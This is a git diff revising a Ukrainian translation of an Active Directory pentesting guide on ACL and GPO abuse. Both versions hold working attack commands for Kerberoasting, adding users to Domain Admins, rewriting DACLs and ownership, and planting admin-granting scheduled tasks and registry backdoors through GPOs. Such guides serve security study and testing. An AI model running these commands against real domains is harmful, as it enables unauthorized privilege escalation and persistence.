Translated ['src/windows-hardening/active-directory-methodology/acl-pers

This commit is contained in:
Translator 2025-05-28 18:48:18 +00:00
parent 25a985d2d8
commit 0dd31d1869

View File

@ -4,10 +4,10 @@
**Ця сторінка в основному є підсумком технік з** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **та** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Для отримання додаткової інформації перегляньте оригінальні статті.**
## BadSuccesor
## BadSuccessor
{{#ref}}
BadSuccesor.md
BadSuccessor.md
{{#endref}}
## **Права GenericAll на користувача**
@ -15,7 +15,7 @@ BadSuccesor.md
Ця привілегія надає зловмиснику повний контроль над обліковим записом цільового користувача. Після підтвердження прав `GenericAll` за допомогою команди `Get-ObjectAcl`, зловмисник може:
- **Змінити пароль цілі**: Використовуючи `net user <username> <password> /domain`, зловмисник може скинути пароль користувача.
- **Цілеспрямоване Kerberoasting**: Призначте SPN обліковому запису користувача, щоб зробити його придатним для kerberoasting, а потім використовуйте Rubeus та targetedKerberoast.py для витягування та спроби зламати хеші квитків на отримання квитків (TGT).
- **Цілеспрямоване Kerberoasting**: Призначте SPN обліковому запису користувача, щоб зробити його доступним для kerberoasting, а потім використовуйте Rubeus та targetedKerberoast.py для витягування та спроби зламати хеші квитків на отримання квитків (TGT).
```bash
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
@ -52,7 +52,7 @@ net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domai
```
## **Self (Self-Membership) on Group**
Ця привілегія дозволяє зловмисникам додавати себе до певних груп, таких як `Domain Admins`, через команди, які безпосередньо маніпулюють членством у групі. Використання наступної послідовності команд дозволяє самостійне додавання:
Ця привілегія дозволяє зловмисникам додавати себе до певних груп, таких як `Domain Admins`, через команди, які безпосередньо маніпулюють членством у групі. Використання наступної послідовності команд дозволяє самостійно додаватися:
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
@ -78,7 +78,7 @@ rpcclient -U KnownUsername 10.10.10.192
```
## **WriteOwner на групу**
Якщо зловмисник виявляє, що має права `WriteOwner` на групу, він може змінити власника групи на себе. Це особливо вплине, коли йдеться про групу `Domain Admins`, оскільки зміна власника дозволяє отримати більший контроль над атрибутами групи та членством. Процес включає в себе ідентифікацію правильного об'єкта за допомогою `Get-ObjectAcl`, а потім використання `Set-DomainObjectOwner` для зміни власника, або за SID, або за ім'ям.
Якщо зловмисник виявляє, що має права `WriteOwner` на групу, він може змінити власність групи на себе. Це особливо вплине, коли йдеться про групу `Domain Admins`, оскільки зміна власності дозволяє отримати більший контроль над атрибутами групи та членством. Процес включає в себе ідентифікацію правильного об'єкта за допомогою `Get-ObjectAcl`, а потім використання `Set-DomainObjectOwner` для зміни власника, або за SID, або за ім'ям.
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -92,7 +92,7 @@ Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\
```
## **GenericWrite на групу**
З цією привілеєю зловмисники можуть маніпулювати членством у групі, наприклад, додаючи себе або інших користувачів до конкретних груп. Цей процес включає створення об'єкта облікових даних, використання його для додавання або видалення користувачів з групи та перевірку змін членства за допомогою команд PowerShell.
З цим привілеєм зловмисники можуть маніпулювати членством у групі, наприклад, додаючи себе або інших користувачів до конкретних груп. Цей процес включає створення об'єкта облікових даних, використання його для додавання або видалення користувачів з групи та перевірку змін членства за допомогою команд PowerShell.
```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -102,7 +102,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
```
## **WriteDACL + WriteOwner**
Володіння об'єктом AD та наявність привілеїв `WriteDACL` на ньому дозволяє зловмиснику надати собі привілеї `GenericAll` над об'єктом. Це досягається через маніпуляцію ADSI, що дозволяє повний контроль над об'єктом та можливість змінювати його членство в групах. Незважаючи на це, існують обмеження при спробі експлуатувати ці привілеї за допомогою cmdlet-ів `Set-Acl` / `Get-Acl` модуля Active Directory.
Володіння об'єктом AD та наявність привілеїв `WriteDACL` на ньому дозволяє зловмиснику надати собі привілеї `GenericAll` над об'єктом. Це досягається через маніпуляції з ADSI, що дозволяє повний контроль над об'єктом та можливість змінювати його членство в групах. Незважаючи на це, існують обмеження при спробі експлуатувати ці привілеї за допомогою cmdlet-ів `Set-Acl` / `Get-Acl` модуля Active Directory.
```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -122,13 +122,13 @@ $ADSI.psbase.commitchanges()
### Enumerate GPO Permissions
Щоб виявити неправильно налаштовані GPO, команди PowerSploit можна з'єднати разом. Це дозволяє виявити GPO, до яких конкретний користувач має права управління: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
Щоб виявити неправильно налаштовані GPO, команди PowerSploit можна з'єднати разом. Це дозволяє виявити GPO, які конкретний користувач має права управляти: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**Computers with a Given Policy Applied**: Можливо визначити, до яких комп'ютерів застосовується конкретний GPO, що допомагає зрозуміти обсяг потенційного впливу. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**Комп'ютери з застосованою політикою**: Можливо визначити, до яких комп'ютерів застосовується конкретний GPO, що допомагає зрозуміти обсяг потенційного впливу. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**Policies Applied to a Given Computer**: Щоб побачити, які політики застосовуються до конкретного комп'ютера, можна використовувати команди, такі як `Get-DomainGPO`.
**Політики, застосовані до конкретного комп'ютера**: Щоб побачити, які політики застосовані до певного комп'ютера, можна використовувати команди, такі як `Get-DomainGPO`.
**OUs with a Given Policy Applied**: Визначити організаційні одиниці (OUs), на які впливає конкретна політика, можна за допомогою `Get-DomainOU`.
**OUs з застосованою політикою**: Визначити організаційні одиниці (OUs), на які вплинула конкретна політика, можна за допомогою `Get-DomainOU`.
Ви також можете використовувати інструмент [**GPOHound**](https://github.com/cogiceo/GPOHound) для перерахунку GPO та виявлення проблем у них.
@ -138,7 +138,7 @@ $ADSI.psbase.commitchanges()
```bash
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
### GroupPolicy модуль - Зловживання GPO
### GroupPolicy module - Зловживання GPO
Модуль GroupPolicy, якщо він встановлений, дозволяє створювати та пов'язувати нові GPO, а також встановлювати параметри, такі як значення реєстру для виконання бекдорів на уражених комп'ютерах. Цей метод вимагає оновлення GPO та входу користувача на комп'ютер для виконання:
```bash
@ -159,15 +159,15 @@ SharpGPOAbuse пропонує метод зловживання існуючи
При перевірці запланованих завдань для певного GPO, наприклад, `Misconfigured Policy`, можна підтвердити додавання завдань, таких як `evilTask`. Ці завдання створюються за допомогою скриптів або командних інструментів, що мають на меті змінити поведінку системи або підвищити привілеї.
Структура завдання, як показано у XML конфігураційному файлі, згенерованому за допомогою `New-GPOImmediateTask`, описує специфіку запланованого завдання - включаючи команду, що має бути виконана, та її тригери. Цей файл представляє, як заплановані завдання визначаються та керуються в межах GPO, надаючи метод для виконання довільних команд або скриптів як частини виконання політики.
Структура завдання, як показано у XML конфігураційному файлі, згенерованому `New-GPOImmediateTask`, описує специфіку запланованого завдання - включаючи команду, що має бути виконана, та її тригери. Цей файл представляє, як заплановані завдання визначаються та керуються в межах GPO, надаючи метод для виконання довільних команд або скриптів як частини виконання політики.
### Користувачі та групи
GPO також дозволяють маніпулювати членством користувачів та груп на цільових системах. Редагуючи файли політики Користувачів та Груп безпосередньо, зловмисники можуть додавати користувачів до привілейованих груп, таких як локальна група `administrators`. Це можливо завдяки делегуванню прав управління GPO, що дозволяє змінювати файли політики, щоб включити нових користувачів або змінити членство груп.
GPO також дозволяють маніпулювати членством користувачів та груп на цільових системах. Шляхом редагування файлів політики Користувачів та Груп безпосередньо, зловмисники можуть додавати користувачів до привілейованих груп, таких як локальна група `administrators`. Це можливо завдяки делегуванню прав управління GPO, що дозволяє змінювати файли політики, щоб включити нових користувачів або змінити членство груп.
XML конфігураційний файл для Користувачів та Груп описує, як ці зміни реалізуються. Додаючи записи до цього файлу, конкретним користувачам можуть бути надані підвищені привілеї на уражених системах. Цей метод пропонує прямий підхід до підвищення привілеїв через маніпуляцію GPO.
Більше того, додаткові методи для виконання коду або підтримки постійного доступу, такі як використання скриптів входу/виходу, модифікація ключів реєстру для автозапуску, встановлення програмного забезпечення через .msi файли або редагування конфігурацій служб, також можуть бути розглянуті. Ці техніки надають різні шляхи для підтримки доступу та контролю цільових систем через зловживання GPO.
Більше того, додаткові методи для виконання коду або підтримки постійності, такі як використання скриптів входу/виходу, модифікація ключів реєстру для автозапуску, встановлення програмного забезпечення через .msi файли або редагування конфігурацій служб, також можуть бути розглянуті. Ці техніки надають різні шляхи для підтримки доступу та контролю цільових систем через зловживання GPO.
## Посилання